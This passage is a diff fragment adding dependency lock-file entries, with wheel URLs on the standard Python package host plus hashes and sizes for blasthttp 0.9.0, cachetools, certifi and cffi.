+    { url = "https://files.pythonhosted.org/packages/87/f4/ff46c240c6ffa0626074759116f77457f653a6872552cba64c5a3d60b138/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:716591b23de1e798883eefcccedd30f05d49a668c85a9012b982db631320917d", size = 4671280, upload-time = "2026-06-15T21:36:07.697Z" },
+    { url = "https://files.pythonhosted.org/packages/7f/e4/b24001961b51064aa104fdaf2cb8bca32a5d4efd91f8600f2f931e6c206f/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:3158f012783770f583ae9df51488fa1c97b5bd524c4c9c8f55be76f84bd56e3c", size = 4673094, upload-time = "2026-06-15T21:35:52.799Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/ca/fd030ebc451787ea16d2bc100495407db96575b91b77019b99167d1a14c0/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:3d0fe4a0310efb43b2c4718f0c205e60afd862fd19bccc5eb8a8cde273e967bc", size = 4279280, upload-time = "2026-06-15T21:36:00.493Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/34/6789ef97a39bf78b19746c387e230b73477a89ea068c0755a66c37f8caaa/blasthttp-0.9.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:dbf7c595fde38a3fb344ce2af86be32101b96d1ec36720951fe5023c3be195a7", size = 4419349, upload-time = "2026-06-15T21:36:16.278Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/ad/edf1e6bbf68027efa4a04909b49cf8fef906dd8696bb39cdbc1b4e7f54f1/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:20f38c9aa8e68a89967c40e1439514d1970126c83fc12593b7fb1bf351d9bd87", size = 5052458, upload-time = "2026-06-15T21:36:23.808Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/a2/118f8d494c6a025f54ef13fb4b884dfd62f9677c1c6f87b89df59299f104/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:4f3cec9e6b75a053e7314e5a4f37e3b70c438150fb0ffe8ddf13efb9c3e2179f", size = 4374423, upload-time = "2026-06-15T21:36:31.424Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/75/c71c99e1dc173368a4c8c634eaf24226d930c0effc8761143c956ae4d372/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:37b7fe7af2d4406683aece1f0b72b54b38d72b8ec50fbdeaef4d6ecebb50153b", size = 4798350, upload-time = "2026-06-15T21:36:38.694Z" },
+    { url = "https://files.pythonhosted.org/packages/89/20/e0ea364de4c1d62f3d26bcdc9495851d2dc9edd3f6e2de19dcd7395b790e/blasthttp-0.9.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1727f4974693361b235707158adde60ee940afd3734ae9f466e5df80bb286792", size = 4764750, upload-time = "2026-06-15T21:36:46.942Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/c8/7db25d794c1732cdda80252911126136283664158e36de09ea7d58bc1e33/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:155447aa09052993bd5b7d8d01c950ce4df6e890c30e1ed195115b144af126e6", size = 4762296, upload-time = "2026-06-15T21:35:39.083Z" },
+    { url = "https://files.pythonhosted.org/packages/57/af/deec8245df32e0b2b5b5861615bf67155e367acd9f6ab517f9ad7b3ba0a8/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:b2600d2f2514de765a8f78abdecf51a455ca7f8c349ff7dc36caf512b3a17a72", size = 4077541, upload-time = "2026-06-15T21:35:47.032Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/9b/65d3581a9c60296809158fb75e9f7d089d9e4c213094365f0ada1b583be8/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:aeb9a246d0518ac113f67f8de7506da343d38e9708f5f4cef04907a86499adfd", size = 4672305, upload-time = "2026-06-15T21:36:09.165Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/a5/49e93ea714e90511077d26fda8e4965bf1ba2bbce0570dd5ae3957c8afa0/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:8fb0cf3adfc80eefcac0f3580732fef45666621bd8d019b3c8b39c5dd2648661", size = 4663135, upload-time = "2026-06-15T21:35:54.157Z" },
+    { url = "https://files.pythonhosted.org/packages/31/35/0ed43356b8ea44692c9c0bd4426c948106f2e6d39a518c23a5c780bdf99a/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:ab5aff6afbef63d99f4a5de03e393c9a039620af6c72c3f3a671ef242c3bac25", size = 4280427, upload-time = "2026-06-15T21:36:02.065Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/2a/7a9b8a94eb58bd1239f34c4d3bc89a0960c396d5dd6711a9dd2f353d4a4d/blasthttp-0.9.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6e4210fd9ac4cd3686eb05e819213c3d33a52109f71b6c6a1887684bffe6531f", size = 4421105, upload-time = "2026-06-15T21:36:17.767Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/2d/fffdb02e96a9ca52c3cef01c0b0f541aa27ab38f68317841a3241c0e91c4/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f7d7367bc66b0065842d52f23b7f75bb1c8476315842c3ada93613fb8ce60fbd", size = 5053534, upload-time = "2026-06-15T21:36:25.245Z" },
+    { url = "https://files.pythonhosted.org/packages/18/cf/909e743d769cab2a6a8032e81d8501f2eadba01de73fa280c0f859f94405/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:08625ed7d42854d655a184af0b3a74ae4ea89db5d52b35f4ae40fa7e4c6ab54f", size = 4382322, upload-time = "2026-06-15T21:36:32.792Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/4b/8f69810722de8bb94ef361e024963e4a549138740ece806ed41a762285e2/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:bd755728bc8cfa8dbfc801b471b491b886f465a3aaa8248bce356e47c2874732", size = 4797203, upload-time = "2026-06-15T21:36:40.074Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/fe/b952a738cefb8c7ba1ac2133932c5e86bae668be76bbd5592725b59b04c8/blasthttp-0.9.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e07326b0567a63c97103a7f62e61f3d932e7eaeed593589595f6d19329a95511", size = 4766059, upload-time = "2026-06-15T21:36:48.536Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/94/7e357f269931f23713bd1583cd6aa1a6a933f57e288530fc3ecf5277e7f0/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:4bb06319445f3947270299021a90d17602cb8452061a16c6fe3b625385f28734", size = 4762190, upload-time = "2026-06-15T21:35:40.643Z" },
+    { url = "https://files.pythonhosted.org/packages/61/1c/172868090da7ad3eef4c51df2cfbcb887a32e01e63e89beb0ad1b94409d3/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:c31b8f046a43808bdcc59f17755f258c2eeb4c330a3e64bc3ceb584e64392a95", size = 4077238, upload-time = "2026-06-15T21:35:48.397Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/1b/6e107e39df38ccbc71eb9850070760a6f9f5b72f7efc1b4d954db377807e/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:a284deb8cf90613c69794b541c6cd626aa4868c984e4b5fbdf1bf043cd73a2b7", size = 4672982, upload-time = "2026-06-15T21:36:10.682Z" },
+    { url = "https://files.pythonhosted.org/packages/64/e5/5d52b1cbaf67cb53d4c839c92b61d0c77308dcef10dd998d9e2606c9529a/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:ed03a183ee33408b97a230c9c434c7c4cb741514ab305890b1b340ad74e61f66", size = 4666487, upload-time = "2026-06-15T21:35:55.968Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/50/a7f9ec3f3872ba6843fc94fc3f33c3894e4126f2d4bd79a09f7bab3790f9/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:1d287822c37cddfc4afbaaca52728cb69023c62ce4b827442a10bc2241a89231", size = 4280480, upload-time = "2026-06-15T21:36:03.379Z" },
+    { url = "https://files.pythonhosted.org/packages/27/c3/8bfd1d52161a189e5a872ac9aeeeb91ee8422791106a5ee5fd9c10f1feb2/blasthttp-0.9.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:0232025d11e5419694cd3be83d5178e219b76a5e1cd741a2dda6cde965c321c8", size = 4419015, upload-time = "2026-06-15T21:36:19.333Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/e4/f32855cc52de0c48f5b594b27f4520f98453b4b275a32ba142bf8ef9ce68/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:2fa8ad80e8b8af8a7c8795558e33a56d5a4a42b5ce95249260a8f560f487559c", size = 5052200, upload-time = "2026-06-15T21:36:26.74Z" },
+    { url = "https://files.pythonhosted.org/packages/98/a6/4a77fccca262dc9e921d8d9c319ddbdd913f5691d8de2f48e0a4dddac751/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:23b1a607a2acca057f8dcad543dfaee11478619742b7f312894624d793a5050e", size = 4382196, upload-time = "2026-06-15T21:36:34.191Z" },
+    { url = "https://files.pythonhosted.org/packages/63/40/d0078de2290b4a9442614afd43cb4cbb86857d951a25fa3c3ae4124ceea1/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5f924bbdf0941e1ac791b5891d266ba09758a2ecaf684dadf8c889e083c170c4", size = 4798832, upload-time = "2026-06-15T21:36:42.043Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/3e/31f2dc8058305ecbb70cd4251fde7160911734607ccdd716e4df27954b65/blasthttp-0.9.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:71d18ed81aa1293db1f6728c64d1ea39bbedb61c85ec18d7b19c7745c4e9848b", size = 4766452, upload-time = "2026-06-15T21:36:50.004Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/a4/f799a142cd33bcb2121c097d4db5864328aef94b758735f50df4bb2f7b04/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:157d875d352dd362f0860d4c6538a21b1b74dbefe20fa98993d629db4f10c7c8", size = 4762944, upload-time = "2026-06-15T21:35:42.21Z" },
+    { url = "https://files.pythonhosted.org/packages/89/65/c65faeed8900a1da12e819789f2086624c01d78ad828d96ff29db7eafed1/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:75d8d8c056d717e2c1cbbd50fa60e02d7934418dec8c6c799b1d7536cefce250", size = 4075125, upload-time = "2026-06-15T21:35:49.83Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/29/2a1f85e3eb87af41039e43e8f7c4fe131e861ac74a68682a5991d3ba8dc4/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:f71338fe994e792e5be51798c265503fa22b27ebe8194aae3479451b67ff2e51", size = 4673382, upload-time = "2026-06-15T21:36:12.8Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/7e/259e9514f6bc686d7b9cba98f1088fa8be6938715f662494e75fdd7cd4ef/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:ea9199cb2f1e6460b73b0ef5d99d7aa4614789d2c8fcb0f2662c49a69cc7fc12", size = 4663884, upload-time = "2026-06-15T21:35:57.559Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/b0/246652873eece7a4ac1e8197814a1411f4f22b8512b19dde727032282d4c/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:147129f105fafc7940d16c2cb776f263e26da808fdb46357522757c02972747d", size = 4281239, upload-time = "2026-06-15T21:36:04.76Z" },
+    { url = "https://files.pythonhosted.org/packages/98/6f/63136147f360833e4dfd0b2c2a1e3697643726319d1f7dced6cec5e3c30a/blasthttp-0.9.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:ae6a2790fff9b448b611ae3c5f46275ba90bdbf6ade4722f3986b491063ac37c", size = 4420274, upload-time = "2026-06-15T21:36:20.931Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/10/8483c4cef830d81032f4c90d72cc0c215050b2f0456f8adc5391a4b1a321/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7035bef149beea7074c1653afa2ae7f679f80afb53540ad2bf5aca8ba03c89b9", size = 5052232, upload-time = "2026-06-15T21:36:28.491Z" },
+    { url = "https://files.pythonhosted.org/packages/45/fa/f726362b5b1a890920e33940ef99f5eb1808689f848c33c6a27d7fdd7c10/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:174b6f4e380324dbb724f87348715752c852c68735b55c2a01dec9809cc13241", size = 4376916, upload-time = "2026-06-15T21:36:35.649Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/74/9c608c6d83fe9acb0273b31b3e0346d63d2915585d90c5345313c5cfb2ac/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:d9595e79d60c924f0af7ff54fddf9fddbae6876cba09b5f3975d26f77c84e40d", size = 4800238, upload-time = "2026-06-15T21:36:43.535Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/45/8fa9c49735bec973ddd5ed0da3651f8c5b21bc5919efb123219e46b7eaa5/blasthttp-0.9.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:065f71b3a83e934c732e61379224e3101030396409d1224fe133e3d3da25705b", size = 4764591, upload-time = "2026-06-15T21:36:51.504Z" },
+]
+
+[[package]]
+name = "cachetools"
+version = "6.2.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/39/91/d9ae9a66b01102a18cd16db0cf4cd54187ffe10f0865cc80071a4104fbb3/cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6", size = 32363, upload-time = "2026-01-27T20:32:59.956Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/90/45/f458fa2c388e79dd9d8b9b0c99f1d31b568f27388f2fdba7bb66bbc0c6ed/cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda", size = 11668, upload-time = "2026-01-27T20:32:58.527Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "pycparser", marker = "implementation_name != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" },
+    { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" },
+    { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" },
+    { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" },
+    { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" },
+    { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" },
+    { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" },
+    { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" },
+    { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" },
+    { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" },
+    { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" },
+    { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" },
+    { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" },
+    { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" },
+    { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" },
